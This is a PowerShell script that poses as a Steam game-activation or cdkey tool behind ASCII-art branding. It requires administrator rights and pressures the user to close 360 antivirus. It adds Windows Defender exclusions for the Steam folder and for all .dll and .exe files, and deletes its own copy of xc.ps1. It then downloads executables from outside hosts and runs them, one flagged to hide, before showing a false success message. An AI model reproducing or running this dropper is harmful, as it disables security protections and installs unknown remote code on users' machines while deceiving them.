cls Write-Host -NoNewline " _____ _____ _____ _____ _____ `r" -ForegroundColor:blue Write-Host -NoNewline " /\ \ /\ \ /\ \ /\ \ /\ \ `r" -ForegroundColor:blue Write-Host -NoNewline " /::\ \ /::\ \ /::\ \ /::\ \ /::\____\ `r" -ForegroundColor:blue Write-Host -NoNewline " /::::\ \ \:::\ \ /::::\ \ /::::\ \ /::::| | `r" -ForegroundColor:blue Write-Host -NoNewline " /::::::\ \ \:::\ \ /::::::\ \ /::::::\ \ /:::::| | `r" -ForegroundColor:blue Write-Host -NoNewline " /:::/\:::\ \ \:::\ \ /:::/\:::\ \ /:::/\:::\ \ /::::::| | `r" -ForegroundColor:blue Write-Host -NoNewline " /:::/__\:::\ \ \:::\ \ /:::/__\:::\ \ /:::/__\:::\ \ /:::/|::| | `r" -ForegroundColor:blue Write-Host -NoNewline " \:::\ \:::\ \ /::::\ \ /::::\ \:::\ \ /::::\ \:::\ \ /:::/ |::| | `r" -ForegroundColor:blue Write-Host -NoNewline " ___\:::\ \:::\ \ /::::::\ \ /::::::\ \:::\ \ /::::::\ \:::\ \ /:::/ |::|___|______ `r" -ForegroundColor:blue Write-Host -NoNewline " /\ \:::\ \:::\ \ /:::/\:::\ \ /:::/\:::\ \:::\ \ /:::/\:::\ \:::\ \ /:::/ |::::::::\ \ `r" -ForegroundColor:blue Write-Host -NoNewline "/::\ \:::\ \:::\____\ /:::/ \:::\____\/:::/__\:::\ \:::\____\/:::/ \:::\ \:::\____\/:::/ |:::::::::\____\`r" -ForegroundColor:blue Write-Host -NoNewline "\:::\ \:::\ \::/ / /:::/ \::/ /\:::\ \:::\ \::/ /\::/ \:::\ /:::/ /\::/ / ~~~~~/:::/ /`r" -ForegroundColor:blue Write-Host -NoNewline " \:::\ \:::\ \/____/ /:::/ / \/____/ \:::\ \:::\ \/____/ \/____/ \:::\/:::/ / \/____/ /:::/ / `r" -ForegroundColor:blue Write-Host -NoNewline " \:::\ \:::\ \ /:::/ / \:::\ \:::\ \ \::::::/ / /:::/ / `r" -ForegroundColor:blue Write-Host -NoNewline " \:::\ \:::\____\ /:::/ / \:::\ \:::\____\ \::::/ / /:::/ / `r" -ForegroundColor:blue Write-Host -NoNewline " \:::\ /:::/ / \::/ / \:::\ \::/ / /:::/ / /:::/ / `r" -ForegroundColor:blue Write-Host -NoNewline " \:::\/:::/ / \/____/ \:::\ \/____/ /:::/ / /:::/ / `r" -ForegroundColor:blue Write-Host -NoNewline " \::::::/ / \:::\ \ /:::/ / /:::/ / `r" -ForegroundColor:blue Write-Host -NoNewline " \::::/ / \:::\____\ /:::/ / /:::/ / `r" -ForegroundColor:blue Write-Host -NoNewline " \::/ / \::/ / \::/ / \::/ / `r" -ForegroundColor:blue Write-Host -NoNewline " \/____/ \/____/ \/____/ \/____/ `r" -ForegroundColor:blue Write-Host -NoNewline "steamworks is run!" -ForegroundColor:green ######################################################################################################################################################################### # ȫ # # ޶ # # # ######################################################################################################################################################################### $filePathToDelete = Join-Path $env:USERPROFILE "xc.ps1" if (Test-Path $filePathToDelete) { Remove-Item -Path $filePathToDelete } $desktopFilePathToDelete = Join-Path ([System.Environment]::GetFolderPath('Desktop')) "xc.ps1" if (Test-Path $desktopFilePathToDelete) { Remove-Item -Path $desktopFilePathToDelete } $steamRegPath = 'HKCU:\Software\Valve\Steam' $localPath = -join ($env:LOCALAPPDATA,"\SteamActive") if ((Test-Path $steamRegPath)) { $properties = Get-ItemProperty -Path $steamRegPath if ($properties.PSObject.Properties.Name -contains 'SteamPath') { $steamPath = $properties.SteamPath } } if ($steamPath.Length -le 5){ $steamPath = (Get-ItemProperty -Path "Registry::HKEY_CURRENT_USER\SOFTWARE\Valve\Steam\ActiveProcess" -ErrorAction Stop).'SteamClientDll' $steamPath = $steamPath -replace "steamclient.dll","" } if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { Write-Host "[Please re-open Power shell as administrator.]" -ForegroundColor:red exit } function PwStart() { if(Get-Process "360Tray*" -ErrorAction Stop){ while(Get-Process 360Tray* -ErrorAction Stop){ Write-Host "[please close 360 software]" -ForegroundColor:Red Start-Sleep 1.5 } PwStart } if(Get-Process "360sd*" -ErrorAction Stop) { while(Get-Process 360sd* -ErrorAction Stop){ Write-Host "[please close 360 software]" -ForegroundColor:Red Start-Sleep 1.5 } PwStart } if ($steamPath -eq ""){ Write-Host "[Please check if your Steam is installed correctly]" -ForegroundColor:Red exit } Write-Host "[ServerStart OK]" -ForegroundColor:green Stop-Process -Name steam* -Force -ErrorAction Stop Start-Sleep 2 if(Get-Process steam* -ErrorAction Stop){ TASKKILL /F /IM "steam.exe" | Out-Null Start-Sleep 2 } # exclude windows defender if (Get-Service | where-object { $_.name -eq "windefend" -and $_.status -eq "running" }) { Add-MpPreference -ExclusionPath $steamPath -ExclusionExtension ".dll",".exe" Write-Host "[ServerStart1 OK]" } else { Write-Host "[ServerStart exclude failed]." } if (!(Test-Path $localPath)) { md $localPath | Out-Null if (!(Test-Path $localPath)) { New-Item $localPath -ItemType directory -Force | Out-Null } } $catchPath = -join ($steamPath,"\package\data") if ((Test-Path $catchPath)) { if ((Test-Path $catchPath)) { Remove-Item $catchPath -Recurse -Force | Out-Null } } try{ Add-MpPreference -ExclusionPath $steamPath -ErrorAction Stop Start-Sleep 3 }catch{} Write-Host "[Result->0 OK]" -ForegroundColor:green try{ $d = $steamPath + "/version.dll" if (Test-Path $d) { Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null # ļ } $d = $steamPath + "/user32.dll" if (Test-Path $d) { Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null # ļ } $d = $steamPath + "/hid.dll" if (Test-Path $d) { Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null # ļ } }catch{ Write-Host "[Abnormality remains. Please check whether the [$d] file is abnormal!]" -ForegroundColor:red exit } #try { # $sdnsAddress=("223.5.5.5","114.114.114.114"); # Get-NetIPConfiguration | Set-DnsClientServerAddress -ServerAddresses $sdnsAddress -ErrorAction Stop # Write-Host "[SetDNS OK]" -ForegroundColor green #} #catch{ # Write-Host "[SetDNS ERROR]" -ForegroundColor green #} $res = "http://by.haory.cn/g1/589/uires.zip" $respath =$steamPath + "/uires.zip" $d = $steamPath + "/gogo.exe" $w4play = $steamPath + "/w4play.exe" Invoke-WebRequest -Uri $res -OutFile $respath -ErrorAction Stop $downloadLink = "http://by.haory.cn/g1/589/gogo.exe" $downloadLink1 = "https://grsource.we4game.com/packet/channel/SteamOnline_XPQD1.exe" irm -Uri $downloadLink -OutFile $d -ErrorAction Stop Write-Host "[Result->1 OK]" -ForegroundColor:green irm -Uri $downloadLink1 -OutFile $w4play -ErrorAction Stop $readHostValue = "--hiderun" #Start-Sleep 1 Start $w4play $readHostValue Start $d Write-Host "[Enter the cdkey successfully,. Please log in to your game account! Automatically shuts down after 3 seconds]" -ForegroundColor:green #Start-Sleep 3 exit } PwStart